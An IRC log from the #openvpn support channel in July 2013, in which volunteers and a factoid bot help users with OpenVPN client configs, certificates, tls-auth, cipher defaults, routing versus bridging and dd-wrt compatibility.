04:50 <@krzee> http://pastebin.com/ZJkLJN5Z
04:50 <@krzee> there ya go
04:50 <@krzee> you may need a ca from the server
04:51 <@krzee> if you can find the ca.crt
04:51 < Akuma> Great, thanks a lot! would I use this as  an import file to the  network manager?
04:51 < Akuma> I have the pem file
04:51 <@krzee> then add ca ca.crt
04:51 <@krzee> yes you could do that
04:52 <@krzee> i cant help with it after you import it
04:52 <@krzee> so you might want to try it cli first
04:52 < Akuma> sure
04:52 < Akuma> sli?
04:52 < Akuma> cli
04:52 <@krzee> get it working then deal with netmanager so you know any problems belong to netman
04:52 < Akuma> yes
04:52 <@krzee> put the config in /etc/openvpn/client.conf
04:53 <@krzee> put the ca in /etc/openvpn/
04:53 <@krzee> replace server_host in the config
04:53 <@krzee> then give it a try and see what happens
04:53 < Akuma> the pem file I have is the CA certificate from the server, just rename that to ca.crt?
04:54 <@krzee> if you're sure its the crt
04:54 <@krzee> !certinfo
04:54 <@vpnHelper> "certinfo" is run `openssl x509 -in <file> -noout -text` for info from your cert file
04:55 < Akuma> what would I be looking for in the output?
04:57 < Akuma> http://pastebin.com/cBHjLDRD
04:59 <@krzee> cool
04:59 <@krzee> so put that as /etc/openvpn/ca.crt on the client
04:59 < Akuma> ok, done
05:00 <@krzee> and in the config put ca ca.crt below the cd
05:00 <@krzee> so below line 9
05:00 <@krzee> i dont remember if it matters or not
05:00 <@krzee> then comment out line 2
05:01 <@krzee> just for debugging
05:01 < Akuma> done
05:01 <@krzee> and run openvpn /etc/openvpn/client.conf
05:01 < Akuma> as root?
05:01 <@krzee> yes
05:01 <@krzee> oh if you dont have a user/group openvpn then change that too
05:02 <@krzee> lines 7/8
05:05 < Akuma> 2 sec, I'll check
05:05 < Akuma> http://pastebin.com/69yEraaQ
05:06 <@krzee> Sun Jul 14 03:04:01 2013 us=500752 failed to find GID for group openvpn
05:06 < Akuma> ah
05:06 < Akuma> yea
05:06 < Akuma> I don't have them
05:06 <@krzee> so go change it to something you do have
05:06 < Akuma> current user is fine?
05:07 <@krzee> nobody / nogroup prolly exists
05:07 <@krzee> grep no /etc/group /etc/passwd
05:09 < Akuma> I can now ping my VPN server with it's lan address
05:09 < Akuma> you're the man
05:09 < Akuma> thanks a lot
05:09 <@krzee> you're welcome
05:09 <@krzee> !karma
05:09 <@vpnHelper> "karma" is nick++ adds karma nick-- adds bad karma, as seen in !ircstats
05:09 <@krzee> :D
05:10 < Akuma> msg ircstats?
05:11 < Akuma> karma krzee++
05:12 <@krzee> it works without the prefix of karma
05:12 < xTz> is been more than 13 hours and this is still generating :x
05:12 <@krzee> xTz, dh4096?
05:12 < xTz> krzee: dh16k :D
05:13 <@krzee> bahaha
05:13 <@krzee> you sure it holds up with those keysizes>
05:13 <@krzee> ?
05:13 < xTz> wanted to test
05:13 < Akuma> krzee++
05:13 < xTz> wasnt sure how that enc/dec would affect battery on mobiles
05:14 < Akuma> :)
05:14 < Akuma> Thanks again
05:14 <@krzee> dh is only on key exchange
05:14 <@krzee> it shouldnt change much
05:14 <@krzee> as far as battery goes on mobile clients
05:15 <@krzee> but are you sure that the encryption remains strong with keysizes that large?
05:15 <@krzee> or in the case of dh, the key exchange
05:15 < Akuma> krzee: on a side note, importing the config file to the ubuntu network manager works as well
05:15 < Akuma> Thanks
05:15 <@krzee> =]
05:15 <@krzee> yw
05:16 < xTz> tbh Im not
05:17 < xTz> but it does take its time :p
05:18 < xTz> btw what are + between the dots, while generating?
05:18 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
05:24 <@krzee> each . is a roll of the dice
05:24 <@krzee> searching for primes
05:24 <@krzee> each + is a hit
05:25 <@krzee> so . is miss + is hit
05:25 <@krzee> its like crypto battleship ;]
05:28 < xTz> oh :D
05:28 < xTz> how many hits do I need for 16k then?
05:28 <@krzee> *shrug*
05:28 <@krzee> has anyone every tested dh with that high of keysizes to be sure its even secure?
05:38 <@krzee> !linnat
05:38 <@vpnHelper> "linnat" is (#1) for a basic iptables NAT where 10.8.0.x is the vpn network: iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE or (#2) to choose what IP address to NAT as, you can use iptables -t nat -I POSTROUTING -o eth0 -j SNAT --to <IP ADDRESS> or (#3) http://netfilter.org/documentation/HOWTO//NAT-HOWTO.html for more info or (#4) openvz see !openvzlinnat
05:46 < xTz> I dunno bout that but still - it should generate the dh
05:46 < xTz> I wonder how long would it take :)
05:50 -!- tharkun [~0@unaffiliated/tharkun] has quit [Read error: Connection reset by peer]
05:51 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
05:55 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Ping timeout: 256 seconds]
05:56 -!- tharkun [~0@187.188.166.5] has joined #openvpn
06:04 -!- JSharpe [~JSharpe@ns237264.ovh.net] has joined #openvpn
06:28 -!- gffa [~unknown@unaffiliated/gffa] has joined #openvpn
06:57 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
06:58 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Quit: off to do some thoughtcrime]
07:00 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
07:17 -!- cyberspace- [20253@109.74.194.224] has quit [Remote host closed the connection]
07:18 -!- cyberspace- [20253@ninthfloor.org] has joined #openvpn
07:46 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Remote host closed the connection]
08:01 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
08:28 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has joined #openvpn
08:43 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Remote host closed the connection]
08:55 -!- JAVACODER [~JAVACODER@2.190.47.214] has joined #openvpn
09:17 -!- JSharpe [~JSharpe@ns237264.ovh.net] has quit [Quit: Leaving]
09:21 -!- JSharpe [~JSharpe@ns237393.ovh.net] has joined #openvpn
09:54 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
09:58 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Ping timeout: 264 seconds]
10:08 -!- HyperGlide [~HyperGlid@110.188.49.188] has joined #openvpn
10:17 -!- Devastatr [~devas@186.214.14.95] has joined #openvpn
10:17 -!- Ghormoon [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
10:17 < Ghormoon> hi again :)
10:18 -!- Devastator [~devas@unaffiliated/devastator] has quit [Ping timeout: 246 seconds]
10:21 < Ghormoon> when I don't set any hash algorithm it's SHA1 am I right? (I''m triyng to connect dd-wrt router to the network now and in GUI it asks for it)
10:21 < Ghormoon> and best I've managed so far is "TLS handshake failed" :)
10:22 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
10:24 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
10:25 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
10:29 -!- Akuma [~kvirc@89-67-150-116.dynamic.chello.pl] has quit [Quit: KVIrc 4.1.3 Equilibrium http://www.kvirc.net/]
10:31 -!- hazardous [~hz@openvpn/user/hazardous] has quit [Ping timeout: 246 seconds]
10:33 -!- Ghormoon [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 260 seconds]
10:34 -!- hazardous [~hz@openvpn/user/hazardous] has joined #openvpn
10:34 -!- mode/#openvpn [+v hazardous] by ChanServ
10:37 -!- Ghormoon [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
10:42 -!- slushpuppy [~slush@175.137.249.106] has quit [Read error: Connection reset by peer]
10:43 -!- Ghormoon [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 245 seconds]
10:48 -!- Ghormoon [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
10:57 -!- surfhai [~tg@pD9E2146A.dip0.t-ipconnect.de] has joined #openvpn
10:59 -!- surfhai1 [~tg@pD9E21FE6.dip0.t-ipconnect.de] has quit [Ping timeout: 245 seconds]
11:03 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has quit []
11:30 -!- JAVACODER [~JAVACODER@2.190.47.214] has quit [Quit: Miranda IM! Smaller, Faster, Easier. http://miranda-im.org]
12:14 -!- Glanzmann [~sithglan@infra.glanzmann.de] has joined #openvpn
12:15 <+pekster> Ghormoon: Yes, sha1 is the default --auth value when unspecified
12:15 < Glanzmann> Hello; I remeber that there was an option that someone could configure in openvpn even before the pre shared secret or TLS negotation started, but I don't find the parameter in the documentation, is the future gone?
12:16 < Glanzmann> So basically another shared secret in a small code section and without that first pre shared secret not even the protocoll negotation started.
12:16 <+pekster> Glanzmann: See --tls-auth
12:17 <+pekster> !tls-auth
12:17 < Glanzmann> Thanks, I skipped that because I thought it is for x509 based authentication.
12:17 <@vpnHelper> "tls-auth" is "hmac" is (#1) The tls-auth directive adds an additional HMAC signature to all SSL/TLS handshake packets for integrity verification. Any UDP packet not bearing the correct HMAC signature can be dropped without further processing. The tls-auth HMAC signature provides an additional level of security above and beyond that provided by SSL/TLS., or (#2) openvpn --genkey --secret ta.key to
12:17 <@vpnHelper> make the tls static key , in configs: tls-auth ta.key # , 1 for client or 0 for server in the configs
12:17 < Glanzmann> THnaks.
12:17 <+pekster> It only ever makes sense using X509, yes
12:18 <+pekster> Note that even with TLS authentication (using X509 PKI) the clients don't necessarily need a cert if configured with --client-cert-not-required, but the server will always need one
12:18 <+pekster> --tls-auth is not valid in static keyed mode, and it wouldn't make sense there anyway
12:18 < Glanzmann> Yes, I have such a configuration with a perl script which does username/password authentication.
12:19 <+pekster> Right, but the server still has a cert signed by a CA that the clients have a cert for (so they can thus trust the server is valid, even if there are multiple servers)
12:19 < Glanzmann> pekster: I get the idea. Because in static key mode probably the static key is used for HMAC signaturing anyway.
12:19 <+pekster> Right :)
12:20 <+pekster> (technically the key you get with --genkey is used to create up to 4 keys: encrypt & signature, and optionally different for each direction, but they're all pulled out of the same random key source)
12:21 < Glanzmann> I see, I did not know that. And I'm using OpenVPN since 2003 at least. Probably earlier.
12:22 <+pekster> It depends on the keysize used, but with the 128-bit defaults, "most" of the static keyfile isn't even used; it only uses as many bits as it needs for the key
12:22 <+pekster> v2 keys are 2048-bits to support up to 512-bit symmetric keys times 4 (for tx/rx on both the cipher and hash)
12:24 < Glanzmann> I see. I have 2048 Bit keys everywhere.
12:25 < kisom> Glanzmann: Not for actual data encryption you dont
12:25 < Glanzmann> I got that idea.
12:25 < Glanzmann> I assume that openvpn uses a session key for data?
12:25 < Glanzmann> so aes256 probably.
12:25 < kisom> Probably 128 bit blowfish
12:25 < kisom> It's standard in openvpn
12:28 < Glanzmann> It's easier on the CPU, but now I want to know it.
12:28 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
12:29 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:29 < Glanzmann> Static Encrypt: Cipher 'BF-CBC' initialized with 128 bit key - you're right.
12:31 < Glanzmann> Thanks a lot for the awareness training. I must have seen this line dozen of times, but never identified BF as BlowFish. :-) I only knew that openvpn can do all the ciphers openssl can do and so assumed the default is different.
12:31 < Glanzmann> Have a nice evening and see you around. ;-)
12:31 < kisom> You can change the cipher by setting another --cipher in your conf
12:31 < kisom> I use 256-aes
12:33 < Glanzmann> I see. I have weak cpu running 8 VPNs, so I probably don't want that. My OpenVPN is on a atom, on the other hand I only have 1300 KB/s peak bandwidth. I once did a performance test with openvpn a few years back and got 34 MB/s between two nodes using default settings. But that was on Solaris.
12:33 < Glanzmann> Got to run. See you around. :-)
12:33 -!- Glanzmann [~sithglan@infra.glanzmann.de] has quit [Quit: EOF]
12:37 -!- Denial [Denial@90.202.26.221] has joined #openvpn
12:39 -!- Devastatr [~devas@186.214.14.95] has quit [Changing host]
12:39 -!- Devastatr [~devas@unaffiliated/devastator] has joined #openvpn
12:39 -!- Devastatr is now known as Devastator
12:47 -!- JSharpe [~JSharpe@ns237393.ovh.net] has quit [Quit: Leaving]
12:48 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Ping timeout: 245 seconds]
12:51 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
13:09 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
13:14 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has quit [Quit: Computer has gone to sleep.]
13:15 <@krzee> hey EugeneKay you around?
13:15  * krzee watches EugeneKay try to hide behind a cat
13:23 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has joined #openvpn
13:25 -!- unixman9000 [~Adium@ip72-223-109-114.ph.ph.cox.net] has quit [Ping timeout: 240 seconds]
13:34 -!- JSharpe [~JSharpe@5.135.138.111] has joined #openvpn
14:02 <+EugeneKay> krzee - yawn
14:02 <+EugeneKay> krzee - you know I run a webcam 24/7, right?
14:04 -!- krantz [~d3vd3l@m5-241-81-97.cust.tele2.se] has joined #openvpn
14:04 < krantz> !welcome
14:04 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:04 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:04 < krantz> !howto
14:04 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:05 < krantz> !goal
14:05 <@vpnHelper> "goal" is Please clearly state your goal for your vpn: example, I would like to access the lan behind the server , I would like to access the internet over my vpn , I just want a secure connection between 2 computers , etc
14:09 < krantz> !goal Openssl.cnf not found. OpenVPN version 2.2.2 x86. OS Windows 7 x64. When running command "build-ca" i get "The system cannot find the path specified. WARNING: can't open config file: c:/openssl/ssl/openssl.cnf. Loading 'screen' into random state."
14:10 -!- devdel [~d3vd3l@m5-241-81-97.cust.tele2.se] has joined #openvpn
14:11 < devdel> !goal Openssl.cnf not found. OpenVPN version 2.2.2 x86. OS Windows 7 x64. When running command "build-ca" i get "The system cannot find the path specified. WARNING: can't open config file: c:/openssl/ssl/openssl.cnf. Loading 'screen' into random state."
14:13 -!- Tirili [~chatzilla@kel30.kel.studentenwerk-goettingen.de] has joined #openvpn
14:14 < Tirili> Hi
14:14 < Tirili> !welcome
14:14 <@vpnHelper> "welcome" is (#1) Start by stating your goal, such as 'I would like to access the internet over my vpn' || new to IRC? see the link in !ask || we may need !logs and !configs and maybe !interface to help you. || See !howto for beginners. || See !route for lans behind openvpn. || !redirect for sending inet traffic through the server. || Also interesting: !man !/30 !topology !iporder !sample !forum
14:14 <@vpnHelper> !wiki !mitm or (#2) Don't use 192.168.1.0/24 or 192.168.0.0/24 (too much potential for conflict)
14:14 -!- krantz [~d3vd3l@m5-241-81-97.cust.tele2.se] has quit [Ping timeout: 240 seconds]
14:17 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
14:18 < devdel> !wiki
14:18 <@vpnHelper> "wiki" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN for the Unofficial wiki or (#2) https://community.openvpn.net/openvpn/wiki for the Official wiki
14:20 < Tirili> Goal: I want to make my laptop (currently in a 10.10.0.0/21 network in my dormitory) to be a part of my home's network (192.168.0.0/24 network in our house in my home city). Other computers in the dormitory's network should NOT have access to the homelan.
14:20 < Tirili> Can this work through bridging?
14:20 <+EugeneKay> It can, but you don't want to
14:20 <+EugeneKay> !whybridge
14:20 <+EugeneKay> !howto
14:20 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
14:20 <+EugeneKay> !route
14:20 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
14:20 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide or (#4) See !serverlan or !clientlan for steps and troubleshooting flowcharts for LANs
14:20 <@vpnHelper> behind the server or client
14:22 <@krzee> EugeneKay, i did not know
14:22 <@krzee> EugeneKay, some sort of porn thing?
14:23 <+EugeneKay> More like The Truman Show since before that was a thing.
14:23 <+EugeneKay> http://kashpureff.org/cam/
14:23 <@vpnHelper> Title: Kashpureff Live Internet Cams, Server Push Cameras (at kashpureff.org)
14:23 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
14:27 -!- krantz [~d3vd3l@korn46.bitnet.nu] has joined #openvpn
14:29 -!- devdel [~d3vd3l@m5-241-81-97.cust.tele2.se] has quit [Ping timeout: 256 seconds]
14:29 -!- devdel [~d3vd3l@m5-241-81-97.cust.tele2.se] has joined #openvpn
14:31 -!- krantz [~d3vd3l@korn46.bitnet.nu] has quit [Ping timeout: 264 seconds]
14:35 -!- DeVito_ is now known as DeVito
14:36 -!- unixman90001 [~Adium@ip72-223-109-114.ph.ph.cox.net] has left #openvpn []
14:37 -!- JSharpe [~JSharpe@5.135.138.111] has quit [Read error: Connection reset by peer]
14:37 -!- JSharpe [~JSharpe@ns2306745.ovh.net] has joined #openvpn
14:40 -!- devdel [~d3vd3l@m5-241-81-97.cust.tele2.se] has quit [Ping timeout: 246 seconds]
14:42 < Tirili> EugeneKay: Let me reset my goal: http://pastebin.com/mViPjAfx
14:43 <+EugeneKay> So do it
14:45 < Tirili> Do you still suggest that routing method instead of bridging? I thought if I do bridging, then I only have to enter the homelan address of my laptop into the router's portforwarding menu and I am done.
14:45 < Tirili> For the required ports
14:49 <@krzee> Tirili, do you have a specific layer2 protocol you need over the vpn
14:49 <@krzee> ?
14:50 < Tirili> No
14:58 -!- JSharpe [~JSharpe@ns2306745.ovh.net] has quit [Read error: Connection reset by peer]
14:58 -!- JSharpe [~JSharpe@ns2306745.ovh.net] has joined #openvpn
15:08 <@krzee> then yes, we still suggest routing
15:09 <@krzee> aka #1 from here:
15:09 <@krzee> !whybridge
15:09 <@vpnHelper> "whybridge" is (#1) you only bridge if you want layer2 to the lan. if you want layer2 only between vpn nodes then routed tap is enough. if you only want layer3 use tun. or (#2) See this URL for a more in-depth discussion on bridging vs routing: https://community.openvpn.net/openvpn/wiki/BridgingAndRouting or (#3) See also !tunortap
15:15 < Tirili> But using that routing method, I would have to tell the router on my home lan to forward the required ports to the raspberry (the open vpn server) and the raspberry would have to forward them somehow through the vpn to my laptop. But how do I do that last "forwarding"?
15:15 <+pekster> No
15:15 <+pekster> You don't port forward; you route
15:15 <+pekster> There's no NAT at all involved
15:15 <+pekster> NAT is evil; do not NAT between RFC1918 LANs you control; route between them
15:16 < Tirili> But the raspberry will think, that the packages are for itself and not for the laptop, won't it?
15:16 < Tirili> My homelan router does nat.
15:18 < Tirili> Imagine I have a server application on port 1111 on my laptop in my dormitory. Clients will connect to my homelan via dyndns and the homelan internet router will nat-port-forward the requests to the raspberry. But the destination should be 1111 of the laptop and not 1111 of the raspberry.
15:21 < Tirili> Or can I specify nat-port-forwarding on the homelan-internet-router to addresses which are not in the homelan but on the vpn-subnet behind the raspberry? Then I would have to tell the homlan-internet-router a route to that vpn-subnet (namely through the raspberry). Can I do this?
15:21 -!- krantz [~d3vd3l@korn46.bitnet.nu] has joined #openvpn
15:32 -!- krantz [~d3vd3l@korn46.bitnet.nu] has quit [Ping timeout: 246 seconds]
15:48 -!- JSharpe_ [~JSharpe@ns2306745.ovh.net] has joined #openvpn
15:50 -!- JSharpe [~JSharpe@ns2306745.ovh.net] has quit [Ping timeout: 276 seconds]
16:20 -!- Ghormoon [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 245 seconds]
16:24 -!- takamich_ [~takamichi@c122-219.i07-31.onvol.net] has quit [Quit: Computer has gone to sleep.]
16:28 -!- Ghormoon [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
16:37 < Ghormoon> damn I still didn't manage to mess up with dd-wrt to generate compatible config :( any idea what exactly is the problem when http://ghormoon.ghorland.net/openvpn/client.ovpn is the working config and dd-wrt creates this http://ghormoon.ghorland.net/openvpn/dd-wrt.ovpn? I've tried tls-cipher none etc., but no luck :(
16:40 -!- JSharpe_ [~JSharpe@ns2306745.ovh.net] has quit [Quit: Leaving]
16:54 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
16:55 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has joined #openvpn
17:00 -!- Denial [Denial@90.202.26.221] has quit []
17:02 -!- Ghormoon [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 264 seconds]
17:03 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
17:05 -!- Ghormoon [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
17:06 < Ghormoon> damn,welleven when I've managed to start the original config, it doesn't work :( any ideas what's wrong?
17:10 -!- oBadAtom is now known as BadAtom
17:10 -!- BadAtom is now known as oBadAtom
17:12 -!- Ghormoon___ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
17:14 < lamba> weird. one of my two vnn servers seems to nat traffic (tcpdump shows pings coming from the vpnserver address), and the other seems to not (tcpdump shows pings coming form the openvpn client's tunnel IP).
17:14 -!- Ghormoon [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 276 seconds]
17:15 < lamba> they have almost identical server config files, except the subnet range chosen for their clients. no idea why that'd happen
17:16 -!- Ghormoon___ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 240 seconds]
17:16 -!- Ghormoon____ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
17:20 -!- Ghormoon_____ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
17:22 -!- Ghormoon____ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 245 seconds]
17:25 < Thrae> Is anyone available to help me troubleshoot an OpenVPN client config? I have one client running Windows 7 who seems to have their routes all messed up, while other Windows 7 and higher clients work fine with the *same* installer. We've reinstalled like 10 times, and I've even gone and cleaned out stuff in their computer. Everyone has UAC enabled so it's not that. No quirky AV/Firewall.
17:26 < Thrae> We keep getting "Destination host unreachable" both with the client pinging out and us pinging him. All other clients can ping and communicate with each other fine. I'm running out of things to try and how to troubleshoot.
17:26 -!- HyperGlide [~HyperGlid@110.188.49.188] has quit [Remote host closed the connection]
17:29 -!- mnathani [~mnathani@198-84-231-11.cpe.teksavvy.com] has joined #openvpn
17:30 -!- Casper [~Phantom@unaffiliated/thephantom] has left #openvpn ["Leaving"]
17:31 <@krzee> Thrae,
17:31 <@krzee> !logs
17:31 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
17:31 <@krzee> from the client in question
17:31 <@krzee> and the server
17:33 -!- Ghormoon______ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
17:33 < Thrae> krzee: Thanks. One second, I'm having him spit out --show-net while connected and give me those results, then I'll get the more verbose logs.
17:35 -!- Ghormoon_____ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 256 seconds]
17:38 < Thrae> As I thought, --show-net is the same as route print, showing "192.168.1.58 255.255.255.254 192.168.11.1" on there, but nothing to route out to 192.168.11.0/24 unless I push it. But other clients have the 11 route made for them already, and if I do push it, it doesn't fix the problem.
17:39 <@krzee> ?getting logs now?
17:39 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 260 seconds]
17:40 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
17:41 -!- Ghormoon_______ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
17:41 < Ghormoon_______> I don't like dd-wrt :( best I got is "cihper final faild" even though the cipker is same on the server :(
17:42 -!- Ghormoon______ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 245 seconds]
17:58 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Quit: Leaving]
18:15 -!- Ghormoon_______ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 256 seconds]
18:30 -!- surfhai [~tg@pD9E2146A.dip0.t-ipconnect.de] has quit [Quit: Leaving.]
18:32 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has quit [Remote host closed the connection]
18:36 -!- dxtr [~dxtr@gateway/tor-sasl/dxtr] has joined #openvpn
18:42 -!- goldkatze [~nobody@unaffiliated/goldkatze] has quit [Ping timeout: 256 seconds]
18:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has quit [Remote host closed the connection]
18:44 -!- mitz [~mitz@KHP222227247006.ppp-bb.dion.ne.jp] has joined #openvpn
18:46 -!- MariusIT [~MariusIT@85-204-46-12.etth.opensys.ro] has quit [Ping timeout: 240 seconds]
18:46 -!- master_of_master [~master_of@p4FF243C0.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
18:50 -!- master_of_master [~master_of@p4FF24C52.dip0.t-ipconnect.de] has joined #openvpn
18:53 -!- nantou [~phonetic@gateway/tor-sasl/martinphone] has quit [Quit: gone]
19:04 < Thrae> krzee: Turns out it was a darn filter driver that was messing everything up.
19:05 <@krzee> nice
19:25 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
22:00 -!- Tirili [~chatzilla@kel30.kel.studentenwerk-goettingen.de] has quit [Quit: ChatZilla 0.9.90 [SeaMonkey 2.17.1/20130416191757]]
22:00 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has quit [Read error: Connection reset by peer]
22:01 -!- dropje [~yge@ip4da6274e.direct-adsl.nl] has joined #openvpn
22:40 -!- speed_racer84 [~speed_rac@173.45.222.229] has joined #openvpn
22:57 <@krzee> !serverlan
22:57 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
23:00 <@krzee> woot flowcharts are back
23:01 -!- Ghormoon_______ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
23:16 <+EugeneKay> Do they vend?
23:32 <@krzee> then vend help while i battle my router
23:33 <@krzee> rebuilt the firmware cause it didnt have the module to mark packets
23:33 <+EugeneKay> I suggest electroshock therapy
23:33 <@krzee> srs tho
23:34 <@krzee> i also added bird and tcpdump to the firmware
23:34 <@krzee>  <krzee> then vend help while i battle my router       <--   s/then/they/
23:38 <@krzee> before when i said setfib <command> makes sense
23:38 <@krzee> its because i can setfib 1 ping 8.8.8.8
23:38 <@krzee> to check if i can ping from the other provider
23:38 <@krzee> i know ping has a flag for src ip but plenty of apps dont
23:47 < Ghormoon_______> btw have you ever seen that it didn't want to make TLS handshake until you changed tls-encryption to some nonAES?
23:48 < Ghormoon_______> on dd-wrt
23:50 <@krzee> i dont use aes
23:50 < Ghormoon_______> why not?
23:50 <@krzee> i choose to use blowfish
23:50 -!- phishy [~textual@c-50-138-206-227.hsd1.ct.comcast.net] has joined #openvpn
23:53 < Ghormoon_______> that would be 3 times slower on my ntb :(
23:54 < Ghormoon_______> heh, not 3, but more than 6 :D
23:54 <@krzee> you have aes processor on board?
23:55 < Ghormoon_______> yep
23:55 <@krzee> cool
23:55 < Ghormoon_______> some i7
23:55 <@krzee> err
23:55 <@krzee> its on an i7?
23:55 <@krzee> and the other side is a dd-wrt router?
23:55 < Ghormoon_______> other side is VPS wichc also has aes-ni
23:55 <@krzee> ahh ok
23:56 < Ghormoon_______> the d-wrt router is just way home, not really meant to be highspeed
23:56 < Ghormoon_______> when conneced on a link with ~130kbit upload :D
23:56 < Ghormoon_______> but on college and on VPS I have 1GBit :)
23:56 <@krzee> !gigabit
23:56 <@vpnHelper> "gigabit" is https://community.openvpn.net/openvpn/wiki/Gigabit_Networks_Linux for JJK's writeup on getting the most out of openvpn over gigabit
23:58 < Ghormoon_______> I think I've seen that page some time ago :) actually I use aes-128-cbc but it seems I won't force the dd-wrt to work :D
--- Day changed Mon Jul 15 2013
00:00 < Ghormoon_______> best I've mnaged so far was witch different tls-cipher and it crashed with "cipher final failed"
00:00 < Ghormoon_______> with aes also on tls-cipher it didn't get even that far
00:00 <@krzee> blame your ssl library
00:05 < Ghormoon_______> I'll have a look on  version
00:08 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
00:09 < Ghormoon________> heh, there's no openssl command :D (how the hell did it manage to decrypt some headers then? :D)
00:10 -!- Ghormoon_______ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 276 seconds]
00:16 -!- speed_racer84 [~speed_rac@173.45.222.229] has quit [Ping timeout: 276 seconds]
00:19 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has quit [Ping timeout: 256 seconds]
00:26 -!- Ghormoon________ [~Ghormoon@33.148.broadband10.iol.cz] has joined #openvpn
